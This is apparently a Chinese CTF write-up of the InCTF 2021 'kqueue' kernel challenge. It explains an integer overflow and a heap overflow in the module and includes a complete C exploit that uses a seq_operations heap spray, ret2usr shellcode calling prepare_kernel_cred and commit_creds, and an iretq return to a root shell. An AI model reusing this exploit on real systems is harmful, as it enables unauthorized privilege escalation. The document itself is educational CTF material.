InCTF 2021 kqueue 复现(heap overflow)

2022-10-25

题目分析

原件可以在https://github.com/teambi0s/InCTFi/tree/master/2021/Pwn/Kqueue里下载。
这道题是给了源码的,可以通过查看源码来观察该ko文件到底做了些什么。
从源文件中可以看到,kqueue这道题目只提供了一个ioctl接口,根据其中输入的cmd,以及传入的request来创造queue
这道题目的每个函数看起来check很多,其实——都没有什么卵用,原因可以看代码:

static long err(char* msg){
    printk(KERN_ALERT "%s\n",msg);
    return -1;
}

可以看到,用来报错的err函数,其并不会结束程序的流程,反而会让程序继续运行,就在内核缓冲区里打了个报错消息。
因而存在了整型溢出问题以及堆溢出的问题。

利用思路

首先,这道题目并没有开启smap/smep以及kpti
但是开启了kaslr

  1. step1:利用整型溢出

    因为程序中的判断都是i < request.max_entries+1,这种情况下,可以使得max_entries为0xffffffff来造成溢出,而又因为max_entries很大造成访问越界。

  2. step2:heap overflow + heap spray提高命中率

    save_kqueue_entries函数中可以进行越界操作,其调用了char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));创建了0x20大小的chunk,但是 validate(memcpy(new_queue,queue->data,request.data_size));确实根据我们传入的data_size来对队列进行拷贝操作。因为0x20大小的chunk在kamlloc-32中,而内核中 seq_operations结构体的大小刚刚好为0x20,换句话说,他们和new_queue分配在同一个page的概率十分大,可以通过heap overflow来覆盖seq_operations中的函数指针。

    可以通过open("/proc/self/stat", O_RDONLY);函数多次创建seq_operations结构体,然后使用通过save_queue_entries的溢出覆盖其中一个seq_operations的内容。

  3. step3: ret2usr 劫持控制流

    seq_operations的 中的函数指针可以改成用户态的shell地址。但是因为不知道内核的基地址(开启了kaslr),但是也有解决办法,利用栈的调用机制,在内核callseq_operations的函数后,会把调用地址压栈。

根据对vmlinux的逆向以及linux源码分析,判断调用发生在
(该位置是seq_read)的函数地址。
随后我们可以根据该地址和prepare_kernel_credcommit_cred的偏移得到真实地址。

exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

size_t commit_creds=0;
size_t prepare_kernel_cred =0;

size_t user_cs;
size_t user_ss;
size_t user_sp;
size_t user_rflags;
void save_status(void){
    __asm__(
        "mov user_cs,cs;"
        "mov user_ss,ss;"
        "mov user_sp,rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void get_root_shell(void){
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }
    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

//ret2usr
void get_root_privilege(){
    //printf("use ret2usr\n"); //don't use user func in kernel space!
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

long dev_fd;
size_t root_rip;
typedef struct{
    u_int32_t max_entries;
    u_int16_t data_size;
    u_int16_t entry_idx;
    u_int16_t queue_idx;
    char* data;
}request_t;

void create_queue(u_int32_t max_entries, u_int16_t data_size)
{
    request_t req = 
    {
        .max_entries    = max_entries,
        .data_size      = data_size,
    };
    ioctl(dev_fd, 0xDEADC0DE, &req);
}

void edit_queue(u_int16_t queue_idx,u_int16_t entry_idx,char *data)
{
    request_t req =
    {
        .queue_idx  = queue_idx,
        .entry_idx  = entry_idx,
        .data       = data,
    };
    ioctl(dev_fd, 0xDAADEEEE, &req);
}

void delete_queue(u_int16_t queue_idx)
{
    request_t req = 
    {
        .queue_idx = queue_idx,
    };
    ioctl(dev_fd, 0xBADDCAFE, &req);
}

void save_queue(u_int16_t queue_idx,u_int32_t max_entries,u_int16_t data_size)
{
    request_t req =
    {
        .queue_idx      = queue_idx,
        .max_entries    = max_entries,
        .data_size      = data_size,
    };
    ioctl(dev_fd, 0xB105BABE, &req);
}

void shellcode(void)
{
    __asm__(
        "mov r12, [rsp + 0x8];"
        "sub r12, 0x201179;"
        "mov r13, r12;"
        "add r12, 0x8c580;"  // prepare_kernel_cred
        "add r13, 0x8c140;"  // commit_creds
        "xor rdi, rdi;"
        "call r12;"
        "mov rdi, rax;"
        "call r13;"
        "swapgs;"
        "mov r14, user_ss;"
        "push r14;"
        "mov r14, user_sp;"
        "push r14;"
        "mov r14, user_rflags;"
        "push r14;"
        "mov r14, user_cs;"
        "push r14;"
        "mov r14, root_rip;"
        "push r14;"
        "iretq;"
    );
}




int main(){
    size_t  data[0x20];
    long  seq_fd[0x200];

    save_status();
    root_rip = get_root_shell;
    dev_fd = open("/dev/kqueue",O_RDONLY);
    if (dev_fd < 0){
        printf("FAILED to open the dev!\n");
        exit(-1);
    }
    for (int i = 0; i < 0x20; i++)
        data[i] = (size_t) shellcode;
    create_queue(0xffffffff,8*0x20);
    edit_queue(0,0,data);
    for (int i = 0; i < 0x200; i++)
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    save_queue(0,0,0x40);
    for (int i = 0; i < 0x200; i++){
        printf("seq num%d\n",i);
        read(seq_fd[i], data, 1);
    }
}

references

https://bbs.pediy.com/thread-269031.htm
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x05-Kernel-Heap-Heap-Overflow